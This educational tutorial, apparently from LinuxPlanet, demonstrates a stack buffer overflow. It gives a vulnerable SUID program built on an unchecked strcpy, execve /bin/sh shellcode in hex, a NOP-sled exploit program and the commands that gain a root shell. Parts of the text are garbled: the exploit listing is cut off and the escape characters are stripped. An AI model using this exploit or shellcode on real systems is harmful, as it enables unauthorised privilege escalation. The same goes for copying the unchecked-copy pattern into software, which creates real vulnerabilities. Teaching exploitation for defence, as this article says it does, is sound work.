Buffer Overflow Exploit in Action
A successful buffer overflow exploit has four steps:
For our exercise, we created the following program that we will try to overflow (Listing 3):
void main(int argc, char *argv[])
{
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Listing 3: vulnerable.c
The sample program in Listing 3 copies the input string to its internal buffer without checking the buffer size. Our target result is to have a process runs with root privileges; this way, when the buffer overflow exploits takes place, the result will be gaining root privileges. Usually a process takes the privileges of the user that started it. However, in the case of a SUID process, the program inherits the privileges of the executable file, not the user, when executed. Therefore, we assume that our executable file (vulnerable) was created with root privileges.
Now, we must decide which program to run because of a buffer overflow exploit. In this example, we will start the shell with root privileges. The code looks as follows (Listing 4):
#include
void main()
{
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
Listing 4: shellcode.c
We need to find a machine code representation of the above C code, to store it in the overflowing buffer. The code must be position independent because we do not know what will be the address of the local buffer on the stack. The code cannot contain any ” byte because the strcpy function will stop copying after finding such a character. To find out how the code looks like in assembly language, we compile it and start the GDB debugger:
$ gcc -o shellcode –ggdb –static shellcode.c $ gdb shellcode $ (gdb) disassemble main $ (gdb) x/bx main+1 $ (gdb) x/bx main+2 (and so on...)
After modifying the assembler code that it is position independent, finding out its machine representation and replacing all ” characters, we will get a code in the machine language, which can be stored in a buffer (the details of obtaining such code can be found here):
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
Listing 5: shell code in hex notation
This buffer (Listing 5) contains the code that will run as the result of the overflow exploit.
So far, we have one program used as a vulnerable program (Listing 3). We will now create the program that we will use as the exploit program (Listing 6):
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 612
#define NOP 0x90
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%xn", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i
Listing 6: exploit.c Demonstrating a Buffer Overflow exploit
The purpose of this sample exercise is to demonstrate a buffer overflow exploit; we will later use the same example when we prevent this exploit using the DSM module. To demonstrate the exploit, please follow these steps:
$gcc –o exploit exploit.c $gcc –o vulnerable vulnerable.c
/bin/sh in case it is bash or tcsh. The reason is that bash and tcsh restrict setuid execution of itself; therefore we must create link to another shell:
$ su $ cd /bin $ mv sh sh.bak $ ln –s ash sh $ exit
setuid bit; this will set the userid of the current user to the one of the owner when executing this program:
$su $chown root:root vulnerable $chmod +s vulnerable $exit
$whoami user $./exploit
$./vulnerable $RET
At this point, we should have gained root privileges:
$whoami root
Et Voilà! The shell is started with root privileges. Very simple procedure, yet very dangerous.
$exit $exit
$ mv sh.bak sh
In this exercise, we demonstrated how to invoke a buffer overflow exploit using very simple programs. In Part 2, we will list existing solutions and go into details on how to prevent such unfortunate incidents using DSM.
This article was originally published on LinuxPlanet.
Property of TechnologyAdvice. © 2025 TechnologyAdvice. All Rights Reserved
Advertiser Disclosure: Some of the products that appear on this site are from companies from which TechnologyAdvice receives compensation. This compensation may impact how and where products appear on this site including, for example, the order in which they appear. TechnologyAdvice does not include all companies or all types of products available in the marketplace.